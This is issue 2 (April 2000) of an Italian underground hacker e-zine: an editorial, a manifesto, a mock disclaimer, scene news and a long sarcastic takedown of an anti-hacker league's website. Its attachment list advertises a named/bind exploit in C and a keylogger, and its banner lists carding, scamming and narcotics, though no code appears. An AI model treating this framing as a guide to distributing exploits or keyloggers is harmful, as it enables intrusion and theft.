____ ____ ____ ____ ____ _ _ |___ \| __ \/ __ \|___ \/ __|| | _ (_)/ __ || /| ___// __ || __ \| |(_) \____/|_|\_\\____|\____/\____/|_| .:-!lAb0rAt0Ri0 ViRtUaLe 0kkUpAt0 & AuT0gEsTit0-z0nA fRaNcA!-:. ./PreSeNTa:\. _ ____ (_) ____ _ |___ \| |/ ___| _ (_)/ __ || |\___ \(_) \____/|_||____/ !ANARCHY_IN_THE_SYSTEM! +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- -!!!-|HaCkInG|pHrEaKiNg|AnArChY|vIrIi|CrAcKiNg|-!!!- |CaRdInG|cRyPtO|sCaMmInG|pRoGrAmMiNg|ElEcTrOnIc| ^^^^|WaReZ|tRaShInG|dIsInFo|UnDeRgRoUnD|666|^^^^ ^|CyBeRpUnK|cHeMiStRy|NaRcOs|FrEaK|Mp3|^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ -=!!! aNNo 01 !!!=- --[ NuMeRo2 ]-- -[aPriLe 2000]- -=!!!|-iNtr0-|!!!=- Benebeneee.....eccoci qui al num.2 di AiS, la nostra amatissima (?) e-zine. Prima di tutto vorrei scusarmi in prima persona per il lungo, anzi lunghissimo periodo di latitanza (12/99-->04/00) del sitoweb e, soprattutto della nostra E-Zine. Speriamo che tutto cio' non accada piu',anche perche' a dir la verita', non mi ha fatto piacere sentire gente che in IRC mi chiedeva "ma AiS e' morta?" Invece AiS NON e' morta e non morira' mai, nonostante le difficolta' e gli impegni esterni, riusciremo sempre a sfornare un'e-zine x soddisfare i nostri lettori. Come potete notare, al di sopra del logo di AiS c'e' un'altro logo...quello del Laboratorio Virtuale Occupato & Autogestito "Area61:Zona franca" , un progetto promosso da alcuni elementi di AiS che sta a mano mano prendendo piede...un laboratorio del tutto simile ad un CSOA (Centro sociale occupato & autogestito), pero' ONLINE... Per ulteriori informazioni leggetevi l'articolo "LVOA AreA61" Ora vi lascio alla lettura di questa e-zine che, imo, e' veramente fantastica! (Forse sono cosi' sicuro xche' l'ho fatta anche io??? mah, ai posters l'ardua sentenza...;-))) Ciao a tutti! -[dEsTr0y wItH aN aNaRchIc mInD!!!]- ---0ldir0n61--- -=!!!|-MaNifeSTo dEl gRUppO-|!!!=- Siamo nella rete, hacker, squatter, punkabbestia, studenti, lavoratori e disoccupati, uniti dal desiderio di rivoluzionare il sistema. Siamo liberi, rispettiamo la liberta' degli altri, sensibilizziamo le masse divulgando le nostre idee. Siamo una serpe in seno al sistema, siamo anarchia nel sistema, un'utopia, un sogno, adesso una realta'! -=!!!|-DisClAimeR lEgAlE-|!!!=- Usa queste informazioni a TUO rischio e pericolo. Il Laboratorio Virtuale Occupato & Autogestito "Area61: Zona Franca" Produzioni Clandestine e qualsiasi altra persona o crew che abbia scritto articoli per questa E-Zine non si assumera' NESSUNA responsabilita' per l'uso o l'abuso delle infos contenute in questo testo. Le seguenti informazioni sono state scritte SOLAMENTE per scopo didattico, informativo e, per la maggiorparte delle volte, puramente RICREATIVO ed EDONISTICO, e NON possono ASSOLUTAMENTE essere usati per scopi illegali. Questa E-zine e' stata redatta semplicemente per DIVERTIRE il lettore. ;-) Informare non e' in alcun modo illegale. Non si incoraggia tuttavia, chi volesse usufruirne per scopi illegali, o comunque non attinenti ai principi di civilta', di etica e morali. Leggendo questo file tu accetti i seguenti termini: Comprendo che usare le seguenti informazioni e' un atto illegale. Capisco e accetto di essere il SOLO responsabile delle mie azioni. Se vengo messo nei guai da queste informazioni NON incolpero' o tirero' nei guai coloro i quali hanno scritto questo testo o ogni altro suo collaboratore o qualsiasi altra persona mi abbia dato questo file. Io capisco che le informazioni qui contenute sono SOLO per scopo didattico. Chi si dovesse ritenere offeso dagli argomenti divulgati in questo file ESCA SUBITO!!!!!!!!! e cancelli immediatamente questo documento dal proprio disco. .:/ Il possesso di questo file, e' comunque del TUTTO LECITO \:. ...e per punizione 2 PATER NOSTRUM e 4 AVE MARIA! ;-)... -=!!!|-nEwZ-|!!!=- Eccomi qui a presentare le novita' all'uscita del num.2... A partire da questo numero, l'e-zine sara' disponibile in formato .txt (puro, senza scazzi!) oltre che in formato .html Inolte l'e-zine sara' divisa in piu' pagine, per facilitare la lettura e la stampa... a breve saranno disponibili presso il nostro sito, Speriamo che queste modifiche possano essere vantaggiose per tutti i lettori (dove siete?) di -[AiS]-. FINALMENTE la nostra e-zine si potra' leggere tramite qualunque visualizzatore di testo, avendo corretto tutti i problemi che ci erano stati nelle altre 2 uscite di AiS. In questo numero 2 sono presenti un bel po' di articoli, direi, con qualche novita' rispetto alle precedenti uscite. Considerato che -[AiS]- e' l'E-zine ufficiale ed unica del LVOA Area61, (vedi art.sotto) non saranno presenti solo articoli dedicati alla tecnica dell'hacking ed affini... Ci sara' molto di +! -[AiS]- e' diventata un magazine di cultura alternativa, non + SOLO una e-zine per hacker e/o newbies e/o wannabe. OVVIAMENTE abbiamo solo aumentato gli argomenti, e state tranquilli, smanettoni/fans di -[AiS]-, il mondo del cyberpunk sara' sempre il + importante dei nostri argomenti! Quindi, chi pensa che la tecnica in -[AiS]- sia finita, si sbaglia, e di grosso! La + grande novita' di questo numero e' sicuramente la nascita di questo fantomatico LVOA Area61....quindi non devo fare altro che rimandarmi al prossimo articolo, dove vi spieghero' x bene in cosa consiste... -=!!!|-LVOA AreA61-|!!!=- Autore: 0lDir0n61 Come ho accennato negli articoli precedenti, Anarchy in the System e' entrata a far parte del "Laboratorio Virtuale Occupato & Autogestito [Area61:z0nA fRaNkA]" Il Laboratorio Virtuale Occupato & Autogestito "Area61:Zona Franca" e' nato ufficiosamente in una sera di gennaio, in una query tra il sottoscritto e XaRaBaS, mentre si cazzeggiava su IRC...Ufficialmente il sito del LVOA e' presente sulla rete dalla meta' di aprile. Questo LVOA si discostera' dalle altre realta' esistenti (CS-CSA-CSOA etc.) solo perche' (Almeno per il momento, poi in futuro magari...) sara' solo ed esclusivamente presente sulla rete...Tutto cio' non preclude il fatto che AreA61 si possa sviluppare come gli altri Centri Sociali e/o Laboratori. In un breve lasso di tempo, nasceranno e si svilupperanno nuovi progetti ed attivita'...qui elencati i progetti gia' esistenti, oppure che sono in "sala parto" ;-) *AreA61 WritinG TeAm CreW di WrItinG di AreA61. *Contro-infodroghe Sensibilizzazione all'anti-probizionismo. *UnderGrounD Spazio dedicato a tuttocio' che c'e' "sotto-terra". *CyberPunk Novita' dalla parte "OscUra" della rete. *AreA61 store "Mercatino" virtuale, dove si potranno acquistare articoli autoprodotti e non. *FreAk SeCtion Area dedicata alla cultura "Frikkettona" *Jugglers & Co. Spazio per i giocolieri e tutti gli"artisti di strada" *AreA61 FrEE RaDio Radio Virtuale gestita dal LVOA *CSOA News da tutti i CentriSociali & Laboratori d'Italia. *TriP "Allucinazioni in rete" ;-) *Alt. Culture Pubblicazioni e progetti alternativi. *DiSinF0 Progetto gia' presente in AiS#1 e#2 *InfoAreA Pubblicazioni informative REALI e non manipolate. All'interno di AreA61 ci sara', con il "flag" di attivita' principale, anche AnArcHy iN tHe SySteM, che non cambiera' affatto le proprie impostazioni, anzi, cerchera' sempre di piu' di migliorare, sperando in un aiuto anche da parte vostra.... Quindi (Dedicato ai simpatizzanti di AiS) non disperate! AiS non scomparira', semplicemente entrera' a far parte di un progetto (si spera) molto + vasto. Continuera' ad esistere il sito (http://aisprod.cjb.net), continuera' ad esistere la Mailing List (http://aisprodML.listbot.com), ma soprattutto continuera' ad esistere la nostra E-Zine... Probabilmente ci sara' solo una e-zine composta da articoli di tutte le realta' di AreA61, ma comunque sara' SEMPRE e SOLO -[AnaRchY_iN_tHe_SySteM]-!!! Tutti i componenti del gruppo (Se saranno daccordo) faranno parte della divisione [Anarchy in the System Squad] e, se vorranno, potranno partecipare attivamente all'interno del L.v.O.A... Oltre ad AiS, collabora con il Laboratorio anche un'altro gruppo: -[ Digital_Brains ]- che fin d'ora ringrazio per il grande aiuto che ci ha offerto. Sperando che questa [JOINT] Venture possa continuare per molto tempo! ;-) Ricordo a tutti L'URL dell'LVOA"area61", per sostenerci, per collaborare, o semplicemente per navigare... http://area61.cjb.net A breve verra' attivata anche la Mailing List di AreA61 (http://MLarea61.listbot.com), correte ad iscrivervi per tenervi aggiornati! ---0lDir0n61--- -=!!!|-c0sA fA iL rEsT0 dEl cYbErPunK iTalIan0-|!!!=- Autore: 0ldir0n61 Eccomi a presentariv le novita' degli altri gruppi di smanettoni presenti in Italia.... =] SpiPPolatori [= http://www.spippolatori.com E' uscito NetRunners11, sono uscite le FAQ di AHCCC redatte da Buttha, la sez. Linux sta crescendo a mano a mano, il riddle e' ancora in gioco, ed a tempo perso si divertono a fare qualche scherzetto...(vedi piu' avanti) Inoltre il servizio di anoni-mailing made in SPP e' stato chiuso il 9/04 per abusi di utilizzo.... Sono disponibili sul sito anche nuovi CD da acquistare.... morale della favola ceckate l'URL degli SPP e vedetevi tutto!!!!!!!!! =] S0ftPr0ject & bFi Staff [= http://www.s0ftpj.org Nuovo styiling del sitoweb ed e' uscito, proprio mentre sto facendo questo articolo (29-04),bFi8... Un numero come al solito degno dei s0ftpj, con il formato in + parti, tecnica gia' adottata in bfi7.... Un ultima cosa destinata al Cavallo Postale: Ti ringrazio per aver pubblicato la mia mail sul BULK (qui troverete la vers. aggiornata)...ma almeno potevi mettere il nick GIUSTO??? Sono Oldiron, non "Odiron"...vabbŠ, il pensiero e' quello che conta! ;-) =] NewBies [= http://www.spippolatori.com (mirror) Si aspetta Newbies6, la grande rivista redatta dal grande Nobody88. Pero' da un po' di tempo non si sa + nulla....aspettiamo con ansia e mandiamo un gran saluto a tutta la combriccola di Newbies. =] Wannabe [= http://wannabe00.cjb.net FINALMENTE e' uscito il num1 della Bellissima Rivista curata interamente da ZioMarzo...un numero in cui e' decisamente aumentato il livello tecnico... Veramente un bel numero! Un "continuate cos" a Bobo e ZioMarzo, sperando di rivederli un po' di piu' in iRc, e soprattutto di vedere il num2 di wannabe il + presto possibile I 2 numeri di wannabe, oltre che dal proprio URL, potrete trovarli in mirror sul sito del caro amico Quequero e della sua UIC (Vedi sotto x l'URL) =] UIC [= http://www.uic-spippolatori.com Il sito di Quequero, "rettore" della UIC, e' disponibile ad un nuovo URL: nato da un regalino degli Spp... Il vecchio sito cmq (http://quequero.cjb.net) verra' utilizzato come mirror. Per la cronaca e' inziato il 8ĝ corso, ed il 4ĝ corso per newbies...in piu' ci sono pagine dedicate al Linux_Reversing ed al PSX_Cracking.... Anche se al momento il sito e' ancora UC, visto che tutte le pag. tranne l'index, sono Err.404. -=!!!|-gLi aLleGaTi-|!!!=- Psc.zip --> Immagini relative all'articolo di DieseL Yahoo.zip --> Versione originale dell'articolo di Jackal Santo.zip --> Immagini relative all'articolo di Satanello Ip.zip --> Versione originale dell'articolo di SONOunuomo 3dviz_3.zip --> Versione a colori dell'articolo di Quequero Vulcan.zip --> Sorgenti in C del named/bind exploit. Trumpet_telnet.zip --> Un client telnet migliore di quello di win... Hooker24.zip --> KeyLogger allegato da Gouranga LineHandset.zip --> Immagini relative all'articolo di VELENO -=!!!|-L.I.S.A. altra CaCCa sUlLa ReTe...-|!!!=- Autore: 0ldir0n61 Prefazione: Questo articolo e' composto da 2 parti: La prima e' il mio articolo sulla LISA (Lega Italiana per la Soppressione degli hAckers) redatto subito dopo aver visto per la prima volta il sito di questo fantomatico gruppo. La seconda parte e' l'intervista al fautore del gruppo: TanaDos. =] pArT 0nE [= 16/04/2000 Solita serata su iRc... un topic diverso su #phreak.it...mah vediamo un po' [23:00] ***Now talking in #phreak.it [23:00] ***Topic is 'http://utenti.tripod.it/~Lisa_Sicurezza/ -->Ridete' Cekko questo URL e cosa mi trovo davanti? La "Lega Italiana per la Soppressione degli hAckers" cioe'... L'ENNESIMA PORCATA contro tutto il cyberpunk italiano e non... Con la carogna che comincia a farsi vedere dietro le spalle (mitico CIRO!) continuo a navigare su questo sito...pieno di errori grammaticali (anche se gli autori mettono le mani avanti con un bellissimo "scusate gli errori di grammatica"), pieno di cazzate degne di TIMONE..., pieno di offese rivolte a tutti quelli che si muovono nell'underground. Decido quindi di teleportarmi il sito sul mio Hdd... Comincio ad analizzare il sito...bello, soprattutto quella croce con scritto "Hackers" come per dire: "attenzione che ora ci siamo noi!"... (Tra parentesi i miei commenti) -[ Manifesto ]- === Hackers bastardi! Da sempre impestate la rete con la vostra presenza e i vostri programmi per fare danno alle persone oneste. Noi gente umile abbiamo deciso di dire basta alle vostre prepotenze e ai vostri abusi. Noi vogliamo che la rete sia un posto dove poter chattare in pace senza dover ogni minuto pensare di montare un nuckers nabber o un firewall. Vogliamo che irc diventi un luogo pulito dove amici di tutte le razze, di tutti i colori e di tutte le religioni si incontrano per conoscersi e fare amicizia tra di loro creando quella grande casa collettiva e quel villaggio globale di cui tanto si parla e poco ancora si conosce. Voi dite che il vostro unico difetto e' la curiosita' noi vi diciamo che il vostro principale difetto e' che ci siete. Ma da ora c'e' la LISA e la vostra vita non sara' piu' tanto rose e fiori. I nostri mezzi sono potenti piu' dei vostri e le nostre forze aumentano di giorno in giorno fino a quando un giorno bellissimo riusciremo ad eliminarvi tutti quanti. === (L'ho incollato tutto perche' mi sembrava un delitto negarvi cotanta comicita'. Tante cazzate, come al solito, offese su offese, ma soprattutto: "Cos'e' un NUCKERS NABBER ?????? ;-)) -[ Scopi.htm ]- [Qui si va veramente verso il delirio... ecco a voi i "buoni propositi" di questi ENNESIMI Santoni (non so come altro definirli)...] === LA LISTA DEI NOSTRI SCOPI PRINCIPALI: 1. Eliminazione totale e completa degli hackers prima della fine dell'anno 2010 (Ve la volete prendere con comodo... e come farete? con una spruzzata di napalm, con un POWER VIRUS [Vedi in seguito...], o forse andrete a casa di ogni hacker con una mazza da baseball?????) 2. Reinstallazione della rete come punto di incontro e non come mercato 3. Accuisizione di novi soci e nuove iniziative per gli inscritti (Noooooo! ACCUISIZIONE!!!!! no, non e' possibile, EDOOOOOOOOOO!!!! ;-)) 4. Eliminazione di tutti i newsgroup a tema hacker col comando rmgroup (Come??? ah quindi io da casa mia scrivo "rmgroup" e si cancella il NG?... ci devo provare.......) 5. Distribuzione gratuita di strumenti per la lotta contro gli hackers 6. Distribuzione gratuita di documenti di qualunque tipo 7. Collaborazione con le forze di polizia per ogni abuso che ci verra' fatto (Ma come??? prima non avevate detto: " I nostri mezzi sono potenti piu' dei vostri e le nostre forze aumentano di giorno in giorno fino a quando un giorno bellissimo riusciremo ad eliminarvi tutti quanti."????? Ed ora chiedete aiuto a MAMMINA?????????) 8. Rispetto totale della legge in ogni occasione ! (E le leggi sulla diffamazione, dove le mettete?) 9. Incontri e cene tra gli inscritti per socializzare (Piu' di 1735 persone [vedi in seguito...] a cena assieme? Bello!) 10. Presto faremo un dibattito in line a cui tutti potranno intervenire (Un dibattito sui pattini??? Ah no, forse era ONLINE....mah!) 11. Collaborazione col Governo Degli Stati Uniti D'America per la lotta (Tranquilli che l'US Gov. aiutera' proprio a voi....) - Attivita' future: Entro breve metteremo in rete un server con tutta una serie di servizi che soltanto i nostri soci potranno usare gratis , tra i servizi ricordiamo: > Un icq per chattare che manda i vostri messaggi cifrati col programma PGP > Un programma in java che vi permettera' di convertire una qualunque moneta > Un traduttore universale dall'inglese all'italiano. > Tutti i documenti necessari e segreti per saper usare la rete come noi. > Un completo DB di programmi di pubblico dominio che potrete prelevare via rete > Il linguaggio SOAP del nostro member 001 Titan simile al Quick Basic ma meglio. Per tutti gli altri il costo di ogni singolo servizio sara' di sole L. 10.000 ] Ricordiamo ai non soci che per diventare soci e' sufficente richiedere la tessera di inscizione alla L.I.S.A. al notro indirizzo postale LISACLUBS@HOTMAIL.COM L'inscizione costa 35.000 e comprende le spese per la stampa della tessera di adesione e l'invio mensile di un bollettino stanpato con una stanpante laser che vi terra' aggiornati su tutte le nostre iniziative. I SOLDI NON CE LI TENIANO IN TASCA!!! Verranno usati per le cene e per l'acquisto degli strumenti necessari al nostro laboratorio antiackers. (La storia del laboratorio antiACKERS e' molto interessante, ed anche l'offerta dell' INSCRIZIONE e' molto allettante...per 35karte mi danno anche un cambiavaluta.... e poi cazzo, mi danno il SOAP!!! ;-)) Per l'occasione vi ricordiamo che per chi volesse contribuire alla costruzione del laboratorio ci manca un analizzatore di rete della HP, un oscilloscopio (anche da poco) e sopratutto una serie di computers (anche vecchi che buttate via, 486,386, 286). Noi riutilizziamo tutto e darete una mano alla societa' permettendoci di combattere questa minaccia mondiale. (No comment....Ora gli hackers sono una minaccia mondiale....ma a parte questo, A cosa puo' servirvi un oscilloscopio???? Se volete posso mettervi il progetto nel prossimo numero di AiS...ma prima dovete rispondere alla mia domanda....ma che cazzo ci dovete fare???) -[ Chi sono ]- Ma chi sono in realta' gli hackers e quale filosofia li muove? Gli hackers sono soltanto un branco di persone scollegate tra di loro che si uniscono a volte solo per fare qualche attacco in massa ad un sito come quello di Yhaoo. Raramente si conoscono tra di loro, diversamente da noi che li combattiamo!, perche' sono fondamentalmente degli individui asociali con nessun rispetto delle cose e delle persone. (Gli hackmeeting e gli Hack-it sono in realta' corsi di puntocroce ed uncinetto...e le mega chat in IRC sono finte.....) Se provata ad andare su qualche loro newsgroup come alt.hackers o alt.2600 (ce ne sono anche di quelli italiani su i newsgrop della TIN come alt.hackers.cough.cough.cough e free.italian.hackers) vedrete che e' vero quello che vi stiamo dicendo. (No comment) Tra di loro ridono e sghignazzano di noi povera gente che siamo costretti a subire tutti i giorni i loro attacchi ai nostri personal computer. Si intromettono dentro i nostri hd e ci prelevano i file segreti dove sono tenute le password e tutte le nostre lettere che di solito non vorremmo mai far vedere a nessuno. (Qua si comincia a confondere l'immagine dell'hacker con quella del LAMER) Queste attivita' loro le chiamano social enginering che significa in inglese "truffare le persone". Commettono azioni illegali e per questo noi vi consigliamo di leggervi la sezione del nostro sito che riguarda le leggi per l'hacking in modo tale che voi potrete contestargli tutte le volte che ce ne sara' l'occasione le cose che vi stanno facendo ed in piu' avvertire per tempo i carabinieri o la polizia. Loro dicono che la conoscenza e' potenza e noi qui siamo d'accordo con loro ma se loro usano questa cosa per fare del danno noi la usiamo per risolvere i problemi che loro ci causano. Imparate quello che c'e' da sapere e potrete combatterli anche voi ed aiutarci a combatterli nel migliore dei modi. Gli hacker quelli cattivi (come se ce ne fosse di buoni!) non si trovano andando sulle chat ma spesso si incontrano quando si va su irc. Quello e' il loro mondo e se ne trovate uno difficilmente riuscirete a riconoscerlo perche' lui fara' finta di essere un'altra persona. Generalmente fanno finta di essere delle donne cosi che uno ci casca e gli da il suo indirizzo postale. (Io in realta' mi chiamo ERIKA e raccolgo tante e-mail al giorno.) Da quello possono risalire al vostro IP [l'ip e' un numero che vi serve per collegarvi alla rete e che vi da il vostro provider, ognuno di voi ne ha uno diverso e i provider ne hanno uno simile al vostro ma piu' basso nell'ultima cifra cosi' che loro da questo possono sempre sapere da dove vi collegate e quale'e' anche il vostro indirizzo di casa e il vostro telefono se volgiono]. (Rimando agli articoli di SONOunuomo sull'IP....mai vista una spiegazione cosi' semplice...;)) Come fare per combatterli? Questa domanda e' molto difficile da rispondere. Bisogna che diventiate soci della LISA per ricevere tramite la corrispondenza con i notri tecnici e il bollettino mensile che vi verra' inviato tutte le informazioni necessarie a capire per bene tutta la cosa. (Cazzo, una scuola antihacker...e che maestri!) Comunque gia vi possiamo dire che vi servirebbe un programma di nukers nabber che lo potete trovare gratuitamente sul sito della Telecom ma per installarlo non e' semplice ed e' meglio prima se vi iscrivete e ve lo fate inviate da i nostri tecnici cosi' e' piu' sicuro e riceverete tutta l'assistenza che vi servira' gratuitamente. (Continuo a non capire la storia del nukers nabber, e poi e' cosi' difficile premere "install"???) Non cercate di fare da soli ma associatevi a noi. Se fate da soli fate come loro e rischiate di commettere azioni illegali diventando degli hacker a vostra volta anche senza volerlo! (E poi nelle notti di Luna piena diventerete pelosi e comincierete ad ululare davanti al vostro PC) I nomi di qualche hacker famoso: questo potrebbe servire per farvi mettere in guardia quando ne incontrate uno QUELLI AMERICANI: Mudge, Aleph1 , Xenon, Master Of Domination (MOD), Cult dead cow (quelli di BO) e tanti altri. QUELLI ITALIANI: Per questo vi riamandiamo alla sezione LINK dove potrete trovare i siti messi in rete da questi bastardi. (Basta offese, comincia ad essere troppo!) Noi abbiamo avvertito la polizia piu' di una volta ma loro pur dicendoci che gli avrebbero arrestati poi non hanno mai fatto niente. E lo sapete questo perche'? Ve lo diciamo noi, loro si fanno forti del fatto che collaborano anche loro con la polizia e i carabinieri facendogli arrestare i pedofili. (Si, e gli ultimi bust dopo il crollo di Yahoo sono solo per tenersi in allenamento...vi rimando all'articolo "Italian Crackdown" di cyb0rG...) Grazie a questa cosa le forze dell'ordine li lasciano stare e gli permettono di fare tutto quello che gli pare almeno fino a quando uno non arriva a denunciarli. Quindi questo e' il nostro obbiettivo principale, arrivare a denuciarli dopo che avremo avuto la possibilita' di dimostrare un loro attacco grazie agli strumenti messi a disposizione dalla LISA. Ma cosa fanno in particolare? I loro strumenti principali sono le backdoor. Le backdoor sono programmi virus che ve li mandano dicendovi che sono dei disegni gif o jpeg e voi li aprite senza sapere nulla. Il disegno si apre veramente ma automaticamente vi trovate il vostro computer infettato irrimediabilmente. Per riuscire a tornare normali la cosa miglire e fare di nuovo il format del vostro hd magari prima facendo un backup di tutto il sistema per poter poi rivedere tutti i dati importanti come li avevamo lasciati. (Altra globalizzazione Hackers/Lamers) Questi virus infatti si collocano nel boot sector del vostro hd e dopo la formattazione sarete veramente certi di averli eliminati per sempre. Resta pero' dopo il problema di non farsene mettere altri e per questo ci siamo noi ad aiutarvi! (Ormai come trovare backdoors e trojan sul proprio PC e' risaputo da tutti... non servono sicuramente i tecnici della LiSa...) Noi possiamo aiutarvi anche a dirvi se ne avete gia qualcuno nel vostro computer. Se pensate che sia cosi' scriveteci subito ed iscrivetevi alla LISA immediatamente. I nostri tecnici controlleranno tramite il vostro indirizzo postale e il vostro IP se e' cosi' e vi daranno tutte le istruzioni e i loro programmi per togliere tutti i tipi di backdoor esistenti (sia quelle americane che quelle italiane) senza dover formattare. (Un dubbio avanza nel mio CPU [Cervello] "Ma non e' che questi sono in realta' dei lameroni che cercano "Prede" o meglio "Polli" che cascano al loro trucchetto? Loro invece di controllare, mettono trojan a sfascio e cosi' possono dare sfogo alle loro lamerate....come i BOSNIFFER che in realta' ti installavano il server....) Questi programmi sono di nostra produzione e non sono in vendita ma ve li daremo e ve li faremo usare per un tempo illimitato gratuitamente se diventerete nostri soci. Noi siamo professionisti e loro sono solo dei dilettanti. Noi abbiamo strumenti che ci permettono quando li abbiamo individuati di distruggerli per sempre. Una volta che vi hanno fatto del danno e noi vi abbiamo rimesso a posto il computer distruggendogli il loro dopo ci penseranno due volte prima di attacarvi di nuovo! (Ma a voi la legge non dice nulla? Avete la "licenza di Uccidere"? cazzo, nuovi 007!) Abbiamo gia al notro attivo piu' di 390 Hackers distrutti e abbiamo avuti anche i complimenti delle forze dell'ordine le quali ci hanno sepre invogliato a continuare. (Voglio i Nick degli Hackers "distrutti"...) A noi non ce ne importa nulla se loro combattono i pedofili, quelli li combattiamo anche noi perche' noi siamo dei figli e dei genitori mentre loro sono solo dei criminali e non meritano nessuna pieta' anche se qualche volta fanno qualcosa di buono per farvi dimenticare le loro azioni criminali. (Questo proprio non riesco a commentarlo perche' non ho capito il succo del discorso! ;-)) -[Chi siamo]- CHI SIAMO Noi diciamo a tutti il nostro nome!!! (Non li vedo dove sono?????) I soci della L.I.S.A. (Lega Italiana per la Soppressione degli Ackers) sono ormai piu' di 1735 dei quali il 73% sono italiani e il resto sono tutti americani. (Cioe' 1266,55 persone sono italiani, e il restante (468,45) sono americani..) Non possiamo qui pubblicare i nomi di tutti i nostri soci per motivi di segretezza e per evitare ritorsioni da parte degli hackers che abbiamo distrutto nel passato ma comunque vogliamo darvi una breve panoramica sulle nostre capacita' tenciche e sulle nostre qualifiche professinali. (Forse perche' i soci non ci sono?) Il webmaster di questo sito -e cioe' io- si chiama TanaDos -in realta' Andrea per gli amici- Devo confessare di essere stato un hackers anch'io nel passato. (Pluralia Maiestatis...;-)) Nel 1993 fui arrestato per aver rubato dei soldi alla Banca Nazionale del Lavoro tramite un semplice modem ad alta velocita' che avevo collegato al mio sistema Linux che gia allora conoscevo perfettamente per via del fatto che studiavo informatica all'universita' del Politecnico di Milano. (Ma ad informatica si studia linux???) Questa esperienza e i successivi mesi di prigione mi fecero riflettere su le azioni che avevo commesso e quando finalmente trovai un giudice che mi diede quella comprensione che forse neanche mio padre mi aveva mai dato giurai a lui e a me stesso che mi sarei impegnato per il resto della mia vita a combattere gli stupidi che avessero fatto le mie stesse cose fino a farli arrestare. Illuminante per me fu la conoscenza del gruppo Il Timone e di quello che per anni e' stato il piu' grande avversario degli hacker italiani Eduardo Freni. (ECCOLI QUIIIIIIIIII!!!!!! Ne ero sicuro.....non potevano mancare! Ma che fossero loro [I TIMONANTI] travestiti da LISA??) Eduardo che anche oggi che ha cessato la sua attivita per motivi familiari e che mi onora della sua amicizia mi ha aiutato nella stesura di queste pagine e spesso mi da la consulenza per arrivare la' dove le nostre menti sebbene molto preparate tecnicamente non potrebbero arrivare. -Il genio e' sempre il genio- (QUI SI SFOCIA NE RIDICOLO!"IL GENIO E' SEMPRE IL GENIO"?????? MI STO SPANZANDO DALLE RISATE! E comincio ad avere FORTISSIMI dubbi che in realta' TanaDos sia "pilotato" proprio da EDU!) Buona parte del gruppo Il Timone si e' iscritta alla LISA specialmente dopo i ripetuti attacchi da parte degli hackers italiani che si fanno chiamare gli Spippolatori comandati da un certo Frigor Mortis e da un altro Naster. -Ho volutamente modificato di poco i loro nicks per evitare di essere attaccato a mia volta- (Rimando tutto a RigorMortem e Master [Non attaccatemi vi prego! ;-)] per una loro, doverosa replica....questa e' diffamazione bella e buona, e se non erro, i TIMONANTI se la presero anche loro con un fantomatico "FrigorMortis") A noi questi individui non ci fanno paura. Che ci facciano vedere quello di cui sono capaci noi sapremo fare di meglio e dopo non avranno che piangere sulle loro rovine. (Nessuno cerca lo scontro, ma cosi' oltre che coprirVI di ridicolo, fate incazzare ME e TUTTI quelli che lavorano nell'underground (Hackers,Crackers, Newbies,Wannabe,Cyberpunk,etc.etc.) Le competenze dei nostri inscritti: (Ora si Ride....) Noi sappiamo programmare in HTML, in basic, in pascal, in moduli, in app, in logo, in lisp, in visual basic, in c, in c++, in sql, in access, in excell, in visual c e in tutti gli altri linguaggi conosciuti piu' evoluti del momento. (Cioe'? Secondo me VOI non conoscete nemmeno il NOME degli "altri linguaggi conosciuti + evoluti del momento".) Conosciamo fin troppo bene sia linux che windows95 e abbiamo a disposizione piu' di 300 computer nei nostri laboratori che possiamo mettere tutti in rete per fare un enorme unico computer superpotentissimo usando soltanto windows 2000. (Bel progetto di rete....e poi se gia' avete 300 PC che cazzo vi andate a cercare i 286 etc.?) Siamo tutti laureati ad eccezione del sottoscritto che non ha potuto conseguire normalmente la sua laurea per i motivi che vi ho detto sopra e non me ne vergogno. Comunque mi mancavano solo due esami per diventare Informatico programmatore. (Io te la darei ad honorem dopo tutte le cazzate che hai scritto!) Abbiamo in cassa un cospiquo gruzzoletto che ci permette di comprare ogni settimana nuovi strumenti tecnologici per la lotta agli hackers. Di questo dobbiamo ringraziare sopratutto i nostri tanti inscritti che spesso si levano il pane di bocca pur di darci un aiuto economico e un sostegno morale per continuare la lotta. (BUAAAAAAAHHHHH, gente che preferisce non mangiare per sostentare voi, poveri PIRLONI spara cazzate!) 6 nostri soci lavorano al MIT il Massachusset Institute of Technology e ci sostengono quando serve facendoci tutti i calcoli matematici necessari per riuscire a ricavare dai pochi dati che riusciamo ad ottenere dagli IP degli hackers le informazioni ben piu' importanti che serviranno poi al loro ritrovamento. (Cazzarola....l'MIT, allora e' una cosa seria! Comincio ad avere paura...) Questi calcoli non sono di pubblico dominio e in Italia li consciamo solo noi e la polizia che ci permette di aiutarli perche collaboriamo insieme. (Visto che collaborate segnatevi questo indirizzo: oldiron61@iname.com, gli altri sono presenti alla fine dell'e_zine) Abbiamo a disposizione una parabola che abbiamo costruito al MIT e che ci permette di usare Echelon il sistema per leggere di nascosto un qualcunque messaggio inviato per posta elettronica o per fax. Potremmo anche intercettare le telefonate degli hackers se volessimo ma sappiamo che questa e' una cosa illegale e quindi pur potendolo fare non ci sogniamo neanche lontanamente di fare. Come abbiamo specificato nei nostri scopi uno dei nostri scopi principali e' appunto quello di rispettare la legge in ogni occasione anche se questo ci danneggia nella lotta contro gli hackers. Siamo forti e motivati. Siamo tanti. Saremmo sempre di piu' ogni giorno che passa e non ci stancheremo mai di lottare fino allo stremo delle nostre forze o fino a che uno di noi sara' ancora in vita. (Sembra la presentazione di un CARTOON dei supereroi!) Se distruggerete uno di noi due di noi ne prenderanno il posto. (AIUUUUUTOOOOOOOOO!!!!! I Gremlins!) Per ognuno di voi hacker distrutto sarete invece uno di meno. Quello che vi manca e' l'organizzazione e noi l'abbiamo. Abbiamo una sede -l'idirizzo della sede verra' inviato a tutti i soci che ne faranno riciesta- (Perche' non renderlo pubblico? Avete paura di pacchi bomba?) Tutti quelli che faranno richiesta di entrare nella LISA verranno attentamente vagliati sia da punto di vista informativo che dal punto di vista morale. Non vogliamo rischiare che qualche spia degli hacker si intrufoli in mezzo a noi e per questo abbiamo dalla nostra parte la polizia che ci aiutera' nel farlo. Se siete onesti non avete nulla da temere, se siete invece in mlafede sappiate che vi aspettano dei giorni caldi se cercherete di truffarci dandoci dati personali falsi. Periodicamente publicheremo su tutti i newsgroup esistenti una lista di tutte le persone che avranno cercato di intromettersi con le nostre attivita' e ne daremo una copia ale forze dell'ordine perche' provvedano come da legge. TanaDos L.I.S.A. member 0000 